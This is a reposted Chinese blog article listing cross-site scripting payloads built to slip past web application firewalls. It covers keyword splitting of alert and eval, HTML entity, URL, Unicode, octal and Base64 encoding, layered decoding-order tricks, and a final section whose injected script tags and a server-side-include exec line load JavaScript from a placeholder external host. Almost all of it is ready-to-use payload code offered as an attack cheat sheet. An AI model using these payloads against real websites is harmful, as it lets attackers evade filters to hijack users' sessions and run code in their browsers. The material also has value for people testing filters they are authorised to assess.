A-A+

【XSS】绕过WAF的姿势总结

2019年04月12日 文章转载 暂无评论 阅读 4,239 views 次

0x01 弹窗关键字检测绕过

基本WAF都针对常用的弹窗函数做了拦截，如alert()、prompt()、confirm()，另外还有代码执行函数eval()，想要绕过去也比较简单，我们以alert(‘xss’)为例，其实只需要分割alert和()即可，例如：
添加空格、TAB、回车、换行：alert%20(/xss/)、alert%0A(/xss/)、alert%0D(/xss/)、alert%09(/xss/)
添加多行注释：alert/*abcd*/(/xss/)
添加注释换行：alert//abcd%0A(/xss/)、confirm//abcd%0D(/xss/)
使用“代替()：alert`xss`
使用括号分割：(alert)(/xss/)、((alert))(/xss/)

使用window和top:

  1. <img src=x onerror="window['al'+'ert'](0)"></img>
  2. <img src=x onerror="window.alert(0)"></img>
  3. <img src=x onerror="top['al'+'ert'](0)"></img>
  4. <img src=x onerror="top.alert(0)"></img>

另外还可以通过以下方式绕过WAF：

  1. <input/onfocus=_=alert,_(123)>
  2. <input/onfocus=_=alert,xx=1,_(123)>
  3. <input/onfocus=_=alert;_(123)>
  4. <input/onfocus=_=alert;xx=1;_(123)>
  5. <input/onfocus=_=window['alert'],_(123)>
  6. <input/onfocus=_=window.alert,_(123)>
另外还可以通过异常处理
  1. <svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
eval(string)参数为字符串，可以拼接关键字绕过检测。
  1. <svg/onload=eval('ale'+'rt(1)')>
另外跳转中也可以使用关键字拼接
  1. <svg/onload=location='javas'+'cript:ale'+'rt(1)'>
  2. <svg/onload=window.location='javas'+'cript:ale'+'rt(1)'>
  3. <svg/onload=location.href='javas'+'cript:ale'+'rt(1)'>
  4. <svg/onload=window.open('javas'+'cript:ale'+'rt(1)')>
  5. <svg/onload=location='javas'.concat('cript:ale','rt(1)')>

0x02 编码绕过

1. html实体编码
<iframe src=javascript:alert(1)>
html标签中支持十进制，例如：

  1. <iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

十六进制，例如：

  1. <iframe src=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

可以不带分号

  1. <iframe src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x31&#x29>

可以填充0

  1. <iframe src=&#x0006A&#x00061&#x00076&#x00061&#x00073&#x00063&#x00072&#x00069&#x00070&#x00074&#x0003A&#x00061&#x0006C&#x00065&#x00072&#x00074&#x00028&#x00031&#x00029>

绕过关键字过滤

  1. <iframe src=javas&#x09;cript:alert(1)></iframe> //Tab
  2. <iframe src=javas&#x0A;cript:alert(1)></iframe> //回车
  3. <iframe src=javas&#x0D;cript:alert(1)></iframe> //换行
  4. <iframe src=javascript&#x003a;alert(1)></iframe> //编码冒号
  5. <iframe src=javasc&NewLine;ript&colon;alert(1)></iframe> //HTML5 新增的实体命名编码，IE6、7下不支持

2. URL编码
<a href=”{here}”>xx</a>
<iframe src=”{here}”>
当输出环境在href或者src时，是可以通过javascript伪协议来执行JS的，例如

<iframe src=”javascript:alert(1)”>test</iframe>
同样src中是可以进行URL编码的，需要注意协议头javascript:不能编码，否则JS无法执行。

  1. <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
  2. <a href="javascript:%61%6c%65%72%74%28%31%29">xx</a>

可以二次URL编码

  1. <iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529"></iframe>

这里结合一下上面说16进制编码

  1. <iframe src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;%61%6c%65%72%74%28%31%29"></iframe>

3. javascript编码
常用的是Unicode编码

  1. <input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus>
  2. <input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus>

另外还有八进制和十六进制

  1. <svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
  2. <svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
  3. <svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
  4. <script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
  5. <script>eval("\141\154\145\162\164\050\061\051")</script>
  6. <script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>

有的WAF拦截了eval()同样可以使用上面提到的alert()绕过的方式，如注释、注释换行等
同样也可以使用window[‘eval’]

  1. <script>window['eval']("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
  2. <script>window['eval']("\141\154\145\162\164\050\061\051")</script>
  3. <script>window['eval']("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>

4. Base64编码

  1. <a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
  2. <iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>

需要注意内容是可以做实体编码。不影响XSS执行。

  1. <iframe src="data:text/html,<script>alert&#40;1&#41;</script>"></iframe>
  2. <iframe srcdoc="<script>alert&#40;1&#41;</script>"></iframe>

另外还可以使用atob函数

  1. <a%20href=javascript:eval(atob('YWxlcnQoMSk='))>Click</a>
  2. <a%20href=javascript:eval(window.atob('YWxlcnQoMSk='))>Click</a>
  3. <a%20href=javascript:eval(window['atob']('YWxlcnQoMSk='))>Click</a>

5. 其他
String.fromCharCode:

  1. <a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>Click</a>
这里针对HTML编码、URL编码、Unicode编码还涉及到一个解码顺序的问题：
我们以<a href=javascript:alert(1)>Click</a>为例
根据上面的例子，我们可以使用三种编码：
HTML编码：
  1. <a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>Click</a>
Unicode编码：
  1. <a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>
URL编码：
  1. <a href=javascript:%2561%256c%2565%2572%2574%2528%2531%2529>Click</a>
然后我们把这三种解码结合起来：Unicode编码 -> URL编码 -> HTML编码
  1. <a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>
  2. <a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
  3. <a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#49;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#52;&#51;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#53;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#50;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#52;&#40;&#49;&#41;>Click</a>
发现同样是可以弹窗的。

0x03 引入外部JS

通过在<script>标签中引入其他字符绕过

  1. <script/src='1.js'/~~234*234></script ~~234*234>
  1. onfocus='a=document.createElement("script");a.src="http://x.x.x.x";body.appendChild(a);'
  2. onfocus='a=document.createElement("scr"+"ipt");a.src="http://x.x.x.x";body.appendChild(a);' //拆分关键字
  3. <!--#exec%20cmd="/bin/echo%20'<SCRIPT%20SRC'"--><!--#exec%20cmd="/bin/echo%20'=http://x.x.x.x/a.js></SCRIPT>'"--> //SSI
  4. <link%20rel=import%20href="2.js">

编码转换工具：http://bianma.51240.com/

 

原文链接：http://vinc.top/2014/11/13/%E7%BB%95%E8%BF%87waf%E7%9A%84%E5%A7%BF%E5%8A%BF%E6%80%BB%E7%BB%93/

标签：

给我留言